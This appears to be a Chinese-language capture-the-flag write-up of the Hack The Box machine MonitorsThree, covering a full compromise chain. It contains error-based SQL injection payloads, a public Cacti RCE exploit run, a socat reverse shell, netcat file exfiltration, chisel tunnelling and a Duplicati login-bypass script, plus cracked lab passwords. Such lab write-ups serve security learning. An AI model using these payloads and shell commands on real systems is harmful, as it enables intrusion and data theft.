HTB靶场 monitorsthree (Linux)[Medium]

admin 2024年9月9日14:32:46评论75 views字数 4374阅读14分34秒阅读模式

本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

Hack The Box是一个国外的靶机在线平台,实验环境将实时更新,允许您测试您的渗透测试技能。

知识点:sql报错注入、文件上传漏洞、备份文件系统漏洞

kali:10.10.16.7

靶场:10.10.11.30

0001.信息收集

使用nmap扫描端口,发现22端口和80端口开启。

使用dnsmasq配置域名对应ip,访问80端口网站界面如下:

HTB靶场 monitorsthree (Linux)[Medium]

通简单的查找和目录扫描发现有    

login.php:登录页面

/forgot_password.php:输入正确用户名会提示发送请求成功,错误用户名会报错,爆破用户名得到admin用户。

HTB靶场 monitorsthree (Linux)[Medium]

/admin/目录:下面有大量php文件,但是需要登录才可以访问。

对子域名进行扫描,如果子域名不存在就会指向主域名,所以需要加上-fs 13560把主域名过滤。

扫描到子域名cacti.monitorsthree.htb

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://monitorsthree.htb" -H "HOST: FUZZ.monitorsthree.htb" -c -fs 13560 

HTB靶场 monitorsthree (Linux)[Medium]

访问子域名,是一个登录界面,通过查询知道是cacti系统,是一个图形化管理设备的系统。

HTB靶场 monitorsthree (Linux)[Medium]

0002.sql注入与文件上传漏洞获取www-date权限

首先我们在主域名的重置密码功能处发现了sql注入,通过报错注入可以回显

# 测试命令    1' or 1=1--

HTB靶场 monitorsthree (Linux)[Medium]

报错回显,查询到数据库名

1' union select extractvalue(1,concat(0x7e,(select database()), 0x7e)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

HTB靶场 monitorsthree (Linux)[Medium]

中间注入过程省略,最后使用下列语句获取到admin的用户名和密码,其中password因为是加密后的hash值过长哪个,需要使用SUBSTRING(password,0,25)截取字符串请求两次

admin | 31a181c8372e3afc59dab863430610e8

# 用户名1' union select extractvalue(1,concat(0x7e,(select username from users limit 0,1), 0x7e)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL## 密码前半段1' union select extractvalue(1,concat(0x7e,(select SUBSTRING(password,0,25) from users limit 0,1), 0x7e)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL## 密码后半段    1' union select extractvalue(1,concat(0x7e,(select SUBSTRING(password,25,25from users limit 0,1), 0x7e)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

HTB靶场 monitorsthree (Linux)[Medium]

密码MD5解密后得到:greencacti2001

HTB靶场 monitorsthree (Linux)[Medium]

使用admin登录主域名的后台后,发现是阉割版本的,基本上只有展示功能,未发现漏洞。    

使用admin用户登录子域名cacti界面如下,在主界面发现有Import/Export,按照经验应该是上传文件漏洞

HTB靶场 monitorsthree (Linux)[Medium]

网上查询cacti漏洞,找到CVE-2024-25641只要拥有用户名和密码,就可以获取到操作系统权限。这里自己手工操作也可以,我是在github上找的payload。

CVE-2024-25641

https://github.com/thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26

将payload下载到kali中。

a.在该pyaload所在目录建立http服务

python -m http.server 80

b.监听端口

nc -lnvp 4447

c.运行payload

python exploit.py -L 10.10.16.7 -lp 4447 -wp 80 -url http://cacti.monitorsthree.htb -u admin -p greencacti2001

HTB靶场 monitorsthree (Linux)[Medium]

0003.获取marcus权限

查看/home,发现用户marcus,我们下一步就是要获取marcus权限。

HTB靶场 monitorsthree (Linux)[Medium]

www-date到普通用户,先找找数据库。

我们在/var/www/html/app/admin/db.php文件中找到一组数据库用户名密码app_user | php_app_password。

HTB靶场 monitorsthree (Linux)[Medium]

/var/www/html/cacti/include/config.php找到另外一组数据库用户名密码:cactiuser | cactiuser

HTB靶场 monitorsthree (Linux)[Medium]

猜测应该有两个数据,都进去看看。我们现在不是交互式命令行,无法使用mysql登录,使用下列命令反弹交互式命令行

# kalinc -lnvp 4445# 靶机www-datesocat tcp-connect:10.10.16.7:4445 exec:'bash -li',pty,stderr,setsid,sigint,sane

HTB靶场 monitorsthree (Linux)[Medium]

使用cactiuser进入mysql,在cacti数据库user_auth表中找到marcus的用户名密码:

marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK
# 登录mysql -u cactiuser# 显示数据库show databases;# 显示表show tables;# 查询值select * from user_auth;

HTB靶场 monitorsthree (Linux)[Medium]

使用hashcat对密码进行破解得到:12345678910

hashcat -m 3200 marcus.hash rockyou.txt  --show

HTB靶场 monitorsthree (Linux)[Medium]

该靶机禁止ssh远程登录,我们直接本地登录,获取user.txt

HTB靶场 monitorsthree (Linux)[Medium]

0004.获取root.txt

使用命令查看开放端口,发现可疑的35705和8200端口。

netstat -tuln 

HTB靶场 monitorsthree (Linux)[Medium]

使用curl请求这两个端口没有返回,使用chisel将端口映射到本地,chisel可以在github上下载。

# 在本地81端口开启服务python -m http.server 81# 靶机上,运行完后,成功在靶机上开启8080端口。wget 10.10.16.7:81/chiselchmod +x chisel./chisel server            

HTB靶场 monitorsthree (Linux)[Medium]

在kali上运行chisel映射端口,原理是过靶机上的8080端口,将本地的8200端口和靶机的8200端口映射,成功访问网站

./chisel client 10.10.11.30:8080 8200

HTB靶场 monitorsthree (Linux)[Medium]

网上搜索Duplicati,是一个备份文件系统,参考如下文章可以绕过登录。    

Duplicati登录绕过

https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee

a.获取server-passphrase

首先在靶机上查找Duplicati的数据库,在/opt/duplicate/config/找到数据文件Duplicati-server.sqlite

HTB靶场 monitorsthree (Linux)[Medium]

使用下列命令传回kali# kalinc -lp 7777 > Duplicati-server.sqlite# 靶机nc -nv 10.10.16.7 7777 < Duplicati-server.sqlite -q 1

使用kali中使用sqlite3获取在线网站打开数据库,将Options表server-passphrase的值拷贝出来,在线网站不支持复制,建议使用sqlite,我这里是为了展示好看:

SQlite在线浏览

https://sqliteviewer.app/#/CTADPNHLTC.sqlite/table/Operation/

HTB靶场 monitorsthree (Linux)[Medium]

将密码:

Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=

base64解密后得到:

59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a   

b.burpsuite进行开启代理拦截,在网站输入任意密码请求。

第一个包不做任何修改放过,复制返回结果中的Nonce字段。

HTB靶场 monitorsthree (Linux)[Medium]

c.将复制的Nonce字段放入如下代码第二行中。

saltedpwd是server-passphrase值base64解密后的值。

将代码复制到该网站的控制台运行。

var saltedpwd = "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a" ;var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc . Base64 . parse("mRsOqVOnrmwZfSakpwO+/mx8Pr4wnUPaKvjpbAG+Dxg=")+ saltedpwd)).toString(CryptoJS . enc . Base64);    console . log (noncedpwd);

HTB靶场 monitorsthree (Linux)[Medium]

d.将得到的noncedpwd值复制到burpsuite拦截的第二个包中,然后请求。

HTB靶场 monitorsthree (Linux)[Medium]

成功绕过登录,进入网站: 

HTB靶场 monitorsthree (Linux)[Medium]

网站的功能就是备份与恢复,开始我以为是Cacti的备份有特殊信息,全拷贝到本地后比对发现没有特别的地方。

最后的方式是可以直接将root.txt备份,再恢复到我们指定的位置

a.点击新增备份

HTB靶场 monitorsthree (Linux)[Medium]

b.填写名称和密码  

HTB靶场 monitorsthree (Linux)[Medium]

c.备份位置选/source/tmp/

备份和恢复文件时前面要加上/source/路径,是因为文件备份系统是运行在docker里面的。

HTB靶场 monitorsthree (Linux)[Medium]

d.备份文件选:/source/root/root.txt

HTB靶场 monitorsthree (Linux)[Medium]

e.后面就是默认设置,下一步、保存

f.保存后回到主页,刷新一下看见我们新建的备份计划,点击立即运行

HTB靶场 monitorsthree (Linux)[Medium]

g.下面恢复文件,点击恢复文件   

HTB靶场 monitorsthree (Linux)[Medium]

h.勾选root.txt文件

HTB靶场 monitorsthree (Linux)[Medium]

i.位置选到/source/tmp,恢复读写权限必须勾上   

HTB靶场 monitorsthree (Linux)[Medium]

j.等文件恢复后,在/tmp就可以找到root.txt文件了

HTB靶场 monitorsthree (Linux)[Medium]

感谢观看!

原文始发于微信公众号(Rsec):HTB靶场 monitorsthree (Linux)[Medium]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月9日14:32:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶场 monitorsthree (Linux)[Medium]https://cn-sec.com/archives/3142296.html

发表评论

匿名网友 填写信息